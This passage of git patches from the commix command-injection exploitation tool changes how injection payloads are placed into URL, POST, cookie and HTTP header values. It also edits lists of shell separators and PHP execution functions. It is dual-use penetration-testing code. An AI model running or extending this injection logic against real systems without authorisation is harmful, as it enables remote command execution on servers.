parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: - data = parameter.replace(settings.INJECT_TAG, payload) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. @@ -104,7 +104,7 @@ def injection_test(payload, http_request_method, url): # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) - target = url.replace(settings.INJECT_TAG, payload) + target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(target) # Check if defined method is POST. @@ -120,15 +120,15 @@ def injection_test(payload, http_request_method, url): # Define the POST data if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: data = checks.json_data(data) except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: - data = parameter.replace(settings.INJECT_TAG, payload) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 7c69c91310..59659d7c36 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -170,6 +170,7 @@ def vuln_GET_param(url): for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: vuln_parameter = pairs[param].split("=")[0] + settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"") break else: @@ -348,6 +349,7 @@ def vuln_POST_param(parameter, url): param = param.split("(")[1] vuln_parameter = param.split(",")[-1:] if ":" in vuln_parameter[0]: + settings.TESTABLE_VALUE = vuln_parameter[0].split(":")[1] vuln_parameter = vuln_parameter[0].split(":")[0] vuln_parameter = ''.join(vuln_parameter) @@ -356,6 +358,7 @@ def vuln_POST_param(parameter, url): if re.findall(r"" + settings.INJECT_TAG + "([^>]+)", parameter): vuln_parameter = re.findall(r"" + settings.INJECT_TAG + "([^>]+)", parameter) vuln_parameter = re.findall(r"" + "([^]+)" + settings.INJECT_TAG, parameter)[0] vuln_parameter = ''.join(vuln_parameter) # Regular POST data format. @@ -366,6 +369,7 @@ def vuln_POST_param(parameter, url): for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: vuln_parameter = pairs[param].split("=")[0] + settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"") break if 'vuln_parameter' not in locals(): @@ -379,10 +383,9 @@ def vuln_POST_param(parameter, url): def prefixes(payload, prefix): # Check if defined "--prefix" option. if menu.options.prefix: - payload = menu.options.prefix + prefix + payload + payload = settings.TESTABLE_VALUE + menu.options.prefix + prefix + payload else: - payload = prefix + payload - + payload = settings.TESTABLE_VALUE + prefix + payload return payload """ @@ -394,7 +397,6 @@ def suffixes(payload, suffix): payload = payload + suffix + menu.options.suffix else: payload = payload + suffix - return payload """ @@ -487,6 +489,7 @@ def specify_cookie_parameter(cookie): for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: inject_cookie = pairs[param].split("=")[0] + settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"") break else: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 23d611d93a..0eb655d021 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -896,7 +896,7 @@ def inject_custom_header(url, vuln_parameter, payload, proxy): headers.do_check(request) payload = checks.newline_fixation(payload) if settings.INJECT_TAG in settings.CUSTOM_HEADER_VALUE: - request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, payload)) + request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)) else: request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE + payload) try: diff --git a/src/utils/settings.py b/src/utils/settings.py index dd35c3d083..597aec930c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "18" +REVISION = "19" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -383,6 +383,8 @@ def sys_argv_errors(): # The testable parameter. TESTABLE_PARAMETER = "" +TESTABLE_VALUE = "" + # The HTTP header name. HTTP_HEADER = "" From 60998daada248ab9dda0e793a982621224bfca67 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 1 Apr 2022 08:19:04 +0300 Subject: [PATCH 0096/1023] Minor update regarding commit https://github.com/commixproject/commix/commit/0d66a00d8721715198387f6e8fb3506b44a42b77 --- src/core/requests/parameters.py | 9 ++++++--- src/utils/settings.py | 4 ++-- 2 files changed, 8 insertions(+), 5 deletions(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 59659d7c36..231d04b6c5 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -134,7 +134,7 @@ def do_GET_check(url, http_request_method): all_params[param] = all_params[param] + settings.INJECT_TAG else: all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG) - all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "") + #all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "") parameter = settings.PARAMETER_DELIMITER.join(all_params) # Reconstruct the URL url = url_part + "?" + parameter @@ -313,7 +313,9 @@ def do_POST_check(parameter, http_request_method): all_params[param] = all_params[param] + settings.INJECT_TAG else: all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG) - all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "") + #all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "") + all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "") + all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "") parameter = settings.PARAMETER_DELIMITER.join(all_params) parameter = parameter.replace(settings.RANDOM_TAG,"") if type(parameter) != list: @@ -461,7 +463,8 @@ def do_cookie_check(cookie): all_params[param] = all_params[param] + settings.INJECT_TAG else: all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG) - all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "") + #all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "") + all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "") cookie = settings.COOKIE_DELIMITER.join(all_params) if type(cookie) != list: cookies_list.append(cookie) diff --git a/src/utils/settings.py b/src/utils/settings.py index 597aec930c..68283cd16e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "19" +REVISION = "20" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -408,7 +408,7 @@ def sys_argv_errors(): SUFFIXES_LVL3 = ["'", "\"", " #", "//", "\\\\"] + SUFFIXES_LVL2 # Bad combination of prefix and separator -JUNK_COMBINATION = ["&&&", "|||", "|&&", "&|", "&;", "|;", "%7C;", "%26;", "%7C&"] +JUNK_COMBINATION = ["&&&", "|||", "|&&", "&|", "&;", "|;", ";;" , "%7C;", "%26;", "%7C&"] # Execution functions EXECUTION_FUNCTIONS = ["exec", "system", "shell_exec", "passthru", "proc_open", "popen"] From e268b6bcde6628faa6a6567301afc5cbe1e8c6e3 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 2 Apr 2022 08:58:59 +0300 Subject: [PATCH 0097/1023] Minor update regarding heuristic tests --- src/core/injections/controller/controller.py | 275 +++++++++---------- src/utils/settings.py | 2 +- 2 files changed, 134 insertions(+), 143 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index ef5fae6c6e..2ca47a8370 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -69,63 +69,54 @@ def check_for_stored_levels(url, http_request_method): Basic heuristic checks for command injection """ def command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers): - if menu.options.skip_heuristics: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping (basic) heuristic detection." - print(settings.print_debug_msg(debug_msg)) + if not header_name == " cookie" and not the_type == " HTTP header": + header_name = " " + str(http_request_method) + settings.CLASSIC_STATE = True + try: + if not settings.IDENTIFIED_COMMAND_INJECTION: + _ = 0 + for payload in settings.BASIC_COMMAND_INJECTION_PAYLOADS: + _ = _ + 1 + if not inject_http_headers: + payload = _urllib.parse.quote(payload) + payload = parameters.prefixes(payload, prefix="") + payload = parameters.suffixes(payload, suffix="") + payload = checks.perform_payload_modification(payload) + if settings.VERBOSITY_LEVEL >= 1: + print(settings.print_payload(payload)) + data = None + cookie = None + tmp_url = url + if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: + cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST: + data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + else: + if settings.INJECT_TAG in url: + tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) + request = _urllib.request.Request(tmp_url, data) + if cookie: + request.add_header(settings.COOKIE, cookie) + if inject_http_headers: + request.add_header(check_parameter.replace("'","").strip(), payload.encode(settings.DEFAULT_CODEC)) + headers.do_check(request) + response = requests.get_request_response(request) + + if type(response) is not bool: + html_data = checks.page_encoding(response, action="decode") + match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data) + if match: + settings.IDENTIFIED_COMMAND_INJECTION = True + info_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter +" might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')." + print(settings.print_bold_info_msg(info_msg)) + break + + settings.CLASSIC_STATE = False return url - else: - if not header_name == " cookie" and not the_type == " HTTP header": - header_name = " " + str(http_request_method) - settings.CLASSIC_STATE = True - try: - if not settings.IDENTIFIED_COMMAND_INJECTION: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Starting (basic) heuristic detection." - print(settings.print_debug_msg(debug_msg)) - _ = 0 - for payload in settings.BASIC_COMMAND_INJECTION_PAYLOADS: - _ = _ + 1 - if not inject_http_headers: - payload = _urllib.parse.quote(payload) - payload = parameters.prefixes(payload, prefix="") - payload = parameters.suffixes(payload, suffix="") - payload = checks.perform_payload_modification(payload) - if settings.VERBOSITY_LEVEL >= 1: - print(settings.print_payload(payload)) - data = None - cookie = None - tmp_url = url - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) - elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST: - data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) - else: - if settings.INJECT_TAG in url: - tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(tmp_url, data) - if cookie: - request.add_header(settings.COOKIE, cookie) - if inject_http_headers: - request.add_header(check_parameter.replace("'","").strip(), payload.encode(settings.DEFAULT_CODEC)) - headers.do_check(request) - response = requests.get_request_response(request) - - if type(response) is not bool: - html_data = checks.page_encoding(response, action="decode") - match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data) - if match: - settings.IDENTIFIED_COMMAND_INJECTION = True - info_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter +" might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')." - print(settings.print_bold_info_msg(info_msg)) - break - - settings.CLASSIC_STATE = False - return url - except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: + print(settings.print_critical_msg(err_msg)) + raise SystemExit() """ Basic heuristic checks for code injection warnings @@ -135,69 +126,60 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t technique = "dynamic code evaluation technique" technique = "(" + injection_type.split(" ")[0] + ") " + technique + "" - if menu.options.skip_heuristics: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping (basic) heuristic detection for " + technique + "." - print(settings.print_debug_msg(debug_msg)) - return url - else: - settings.EVAL_BASED_STATE = True + settings.EVAL_BASED_STATE = True + try: try: - try: - if re.findall(r"=(.*)&", url): - url = url.replace("/&", "/e&") - elif re.findall(r"=(.*)&", menu.options.data): - menu.options.data = menu.options.data.replace("/&", "/e&") - except TypeError as err_msg: - pass - if not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Starting (basic) heuristic detection for " + technique + "." - print(settings.print_debug_msg(debug_msg)) - for payload in settings.PHPINFO_CHECK_PAYLOADS: - payload = checks.perform_payload_modification(payload) - if settings.VERBOSITY_LEVEL >= 1: - print(settings.print_payload(payload)) - data = None - cookie = None - tmp_url = url - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) - elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST: - data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + if re.findall(r"=(.*)&", url): + url = url.replace("/&", "/e&") + elif re.findall(r"=(.*)&", menu.options.data): + menu.options.data = menu.options.data.replace("/&", "/e&") + except TypeError as err_msg: + pass + if not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: + for payload in settings.PHPINFO_CHECK_PAYLOADS: + payload = checks.perform_payload_modification(payload) + if settings.VERBOSITY_LEVEL >= 1: + print(settings.print_payload(payload)) + data = None + cookie = None + tmp_url = url + if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: + cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST: + data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + else: + if settings.INJECT_TAG in url: + tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) + request = _urllib.request.Request(tmp_url, data) + if cookie: + request.add_header(settings.COOKIE, cookie) + if inject_http_headers: + request.add_header(check_parameter.replace("'","").strip(), payload.encode(settings.DEFAULT_CODEC)) + headers.do_check(request) + response = requests.get_request_response(request) + + if type(response) is not bool: + html_data = checks.page_encoding(response, action="decode") + match = re.search(settings.CODE_INJECTION_PHPINFO, html_data) + if match: + technique = technique + " (possible PHP version: '" + match.group(1) + "')" + settings.IDENTIFIED_PHPINFO = True else: - if settings.INJECT_TAG in url: - tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(tmp_url, data) - if cookie: - request.add_header(settings.COOKIE, cookie) - if inject_http_headers: - request.add_header(check_parameter.replace("'","").strip(), payload.encode(settings.DEFAULT_CODEC)) - headers.do_check(request) - response = requests.get_request_response(request) - - if type(response) is not bool: - html_data = checks.page_encoding(response, action="decode") - match = re.search(settings.CODE_INJECTION_PHPINFO, html_data) - if match: - technique = technique + " (possible PHP version: '" + match.group(1) + "')" - settings.IDENTIFIED_PHPINFO = True - else: - for warning in settings.CODE_INJECTION_WARNINGS: - if warning in html_data: - settings.IDENTIFIED_WARNINGS = True - break - if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: - info_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter + " might be injectable via " + technique + "." - print(settings.print_bold_info_msg(info_msg)) - break + for warning in settings.CODE_INJECTION_WARNINGS: + if warning in html_data: + settings.IDENTIFIED_WARNINGS = True + break + if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: + info_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter + " might be injectable via " + technique + "." + print(settings.print_bold_info_msg(info_msg)) + break - settings.EVAL_BASED_STATE = False - return url + settings.EVAL_BASED_STATE = False + return url - except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: + print(settings.print_critical_msg(err_msg)) + raise SystemExit() # Check if it's exploitable via classic command injection technique. def classic_command_injection_technique(url, timesec, filename, http_request_method): @@ -352,35 +334,44 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time timesec, url_time_response = requests.estimate_response_time(url, timesec) # Load modules modules_handler.load_modules(url, http_request_method, filename) - url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) - if not settings.LOAD_SESSION: - if (len(menu.options.tech) == 0 or "e" in menu.options.tech) and not settings.IDENTIFIED_COMMAND_INJECTION: - # Check for identified warnings - url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) - if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: - while True: - if not menu.options.batch: - question_msg = "Skipping of further command injection tests is recommended. " - question_msg += "Do you agree? [Y/n] > " - procced_option = _input(settings.print_question_msg(question_msg)) - else: - procced_option = "" - if procced_option in settings.CHOICE_YES or len(procced_option) == 0: - settings.CLASSIC_STATE = settings.TIME_BASED_STATE = settings.FILE_BASED_STATE = False - settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = True - break - elif procced_option in settings.CHOICE_NO: - break - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + procced_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: - warn_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter + " might not be injectable." - print(settings.print_bold_warning_msg(warn_msg)) + if menu.options.skip_heuristics: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Skipping (basic) heuristic detection." + print(settings.print_debug_msg(debug_msg)) + else: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Starting (basic) heuristic detection." + print(settings.print_debug_msg(debug_msg)) + url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) + if not settings.LOAD_SESSION: + if (len(menu.options.tech) == 0 or "e" in menu.options.tech) and not settings.IDENTIFIED_COMMAND_INJECTION: + # Check for identified warnings + url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) + if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: + while True: + if not menu.options.batch: + question_msg = "Skipping of further command injection tests is recommended. " + question_msg += "Do you agree? [Y/n] > " + procced_option = _input(settings.print_question_msg(question_msg)) + else: + procced_option = "" + if procced_option in settings.CHOICE_YES or len(procced_option) == 0: + settings.CLASSIC_STATE = settings.TIME_BASED_STATE = settings.FILE_BASED_STATE = False + settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = True + break + elif procced_option in settings.CHOICE_NO: + break + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + procced_option + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass + + if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: + warn_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter + " might not be injectable." + print(settings.print_bold_warning_msg(warn_msg)) info_msg = "Setting the" if not header_name == " cookie" and not the_type == " HTTP header": diff --git a/src/utils/settings.py b/src/utils/settings.py index 68283cd16e..8cfb673407 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "20" +REVISION = "21" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From e319624e0bdb0943d64cceb5c503fbb140702756 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 3 Apr 2022 09:54:28 +0300 Subject: [PATCH 0098/1023] Update regarding commit: https://github.com/commixproject/commix/commit/e268b6bcde6628faa6a6567301afc5cbe1e8c6e3 --- src/core/injections/controller/controller.py | 25 +++++++++++++------- src/core/requests/parameters.py | 19 ++++++++------- src/utils/logs.py | 1 + src/utils/settings.py | 2 +- 4 files changed, 30 insertions(+), 17 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 2ca47a8370..3d4a9ca5d7 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -77,7 +77,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, _ = 0 for payload in settings.BASIC_COMMAND_INJECTION_PAYLOADS: _ = _ + 1 - if not inject_http_headers: + if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter): payload = _urllib.parse.quote(payload) payload = parameters.prefixes(payload, prefix="") payload = parameters.suffixes(payload, suffix="") @@ -90,7 +90,10 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST: - data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + if inject_http_headers: + data = menu.options.data.replace(settings.INJECT_TAG,"").encode(settings.DEFAULT_CODEC) + else: + data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: if settings.INJECT_TAG in url: tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) @@ -110,7 +113,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, info_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter +" might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')." print(settings.print_bold_info_msg(info_msg)) break - + settings.CLASSIC_STATE = False return url @@ -429,7 +432,7 @@ def http_headers_injection(url, http_request_method, filename, timesec): def user_agent_injection(url, http_request_method, filename, timesec): user_agent = menu.options.agent if not menu.options.shellshock: - menu.options.agent = settings.INJECT_TAG + menu.options.agent = menu.options.agent + settings.INJECT_TAG settings.USER_AGENT_INJECTION = True if settings.USER_AGENT_INJECTION: check_parameter = header_name = " User-Agent" @@ -442,10 +445,12 @@ def user_agent_injection(url, http_request_method, filename, timesec): def referer_injection(url, http_request_method, filename, timesec): referer = menu.options.referer if not menu.options.shellshock: - menu.options.referer = settings.INJECT_TAG + if menu.options.referer is None: + menu.options.referer = "" + menu.options.referer = menu.options.referer + settings.INJECT_TAG settings.REFERER_INJECTION = True if settings.REFERER_INJECTION: - check_parameter = header_name = " Referer" + check_parameter = header_name = " Referer" settings.HTTP_HEADER = header_name[1:].lower() check_for_stored_sessions(url, http_request_method) if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): @@ -453,15 +458,19 @@ def referer_injection(url, http_request_method, filename, timesec): menu.options.agent = referer def host_injection(url, http_request_method, filename, timesec): + host = menu.options.host if not menu.options.shellshock: - menu.options.host = settings.INJECT_TAG + if menu.options.host is None: + menu.options.host = "" + menu.options.host = menu.options.host + settings.INJECT_TAG settings.HOST_INJECTION = True if settings.HOST_INJECTION: - check_parameter = header_name = " Host" + check_parameter = header_name = " Host" settings.HTTP_HEADER = header_name[1:].lower() check_for_stored_sessions(url, http_request_method) if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): settings.HOST_INJECTION = False + menu.options.host = host # User-Agent HTTP header injection if menu.options.skip_parameter == None: diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 231d04b6c5..8b8974f36d 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -383,6 +383,13 @@ def vuln_POST_param(parameter, url): Define the injection prefixes. """ def prefixes(payload, prefix): + if settings.USER_AGENT_INJECTION == True: + specify_user_agent_parameter(menu.options.agent) + elif settings.REFERER_INJECTION == True: + specify_referer_parameter(menu.options.referer) + elif settings.HOST_INJECTION == True: + specify_host_parameter(menu.options.host) + # Check if defined "--prefix" option. if menu.options.prefix: payload = settings.TESTABLE_VALUE + menu.options.prefix + prefix + payload @@ -504,8 +511,7 @@ def specify_cookie_parameter(cookie): The user-agent based injection. """ def specify_user_agent_parameter(user_agent): - # Specify the vulnerable user-agent HTTP header - # Nothing to specify here! :) + settings.TESTABLE_VALUE = user_agent.replace(settings.INJECT_TAG,"") return user_agent @@ -513,8 +519,7 @@ def specify_user_agent_parameter(user_agent): The referer based injection. """ def specify_referer_parameter(referer): - # Specify the vulnerable referer HTTP header. - # Nothing to specify here! :) + settings.TESTABLE_VALUE = referer.replace(settings.INJECT_TAG,"") return referer @@ -522,8 +527,7 @@ def specify_referer_parameter(referer): The host based injection. """ def specify_host_parameter(host): - # Specify the vulnerable host HTTP header. - # Nothing to specify here! :) + settings.TESTABLE_VALUE = host.replace(settings.INJECT_TAG,"") return host @@ -531,8 +535,7 @@ def specify_host_parameter(host): The Custom http header based injection. """ def specify_custom_header_parameter(header_name): - # Specify the vulnerable HTTP header name. - # Nothing to specify here! :) + settings.TESTABLE_VALUE = header_name.replace(settings.INJECT_TAG,"") return header_name diff --git a/src/utils/logs.py b/src/utils/logs.py index c9ea825ff8..0a3a7a88dd 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -67,6 +67,7 @@ def create_log_file(url, output_dir): print(settings.print_critical_msg(error_msg)) raise SystemExit() + # Create cli history file if does not exist. settings.CLI_HISTORY = output_dir + host + "/" + "cli_history" if not os.path.exists(settings.CLI_HISTORY): diff --git a/src/utils/settings.py b/src/utils/settings.py index 8cfb673407..2097511f15 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "21" +REVISION = "22" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 2eba7899b4cfb0403b9c1dd41000f129f00c9c5d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 4 Apr 2022 08:37:46 +0300 Subject: [PATCH 0099/1023] Minor fixes & updates --- src/core/injections/controller/controller.py | 17 +++++++++-------- src/core/requests/requests.py | 4 ++-- src/utils/settings.py | 8 ++++---- 3 files changed, 15 insertions(+), 14 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 3d4a9ca5d7..d0ddb941cc 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -66,7 +66,7 @@ def check_for_stored_levels(url, http_request_method): """ -Basic heuristic checks for command injection +Heuristic (basic) tests for command injection """ def command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers): if not header_name == " cookie" and not the_type == " HTTP header": @@ -110,7 +110,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, 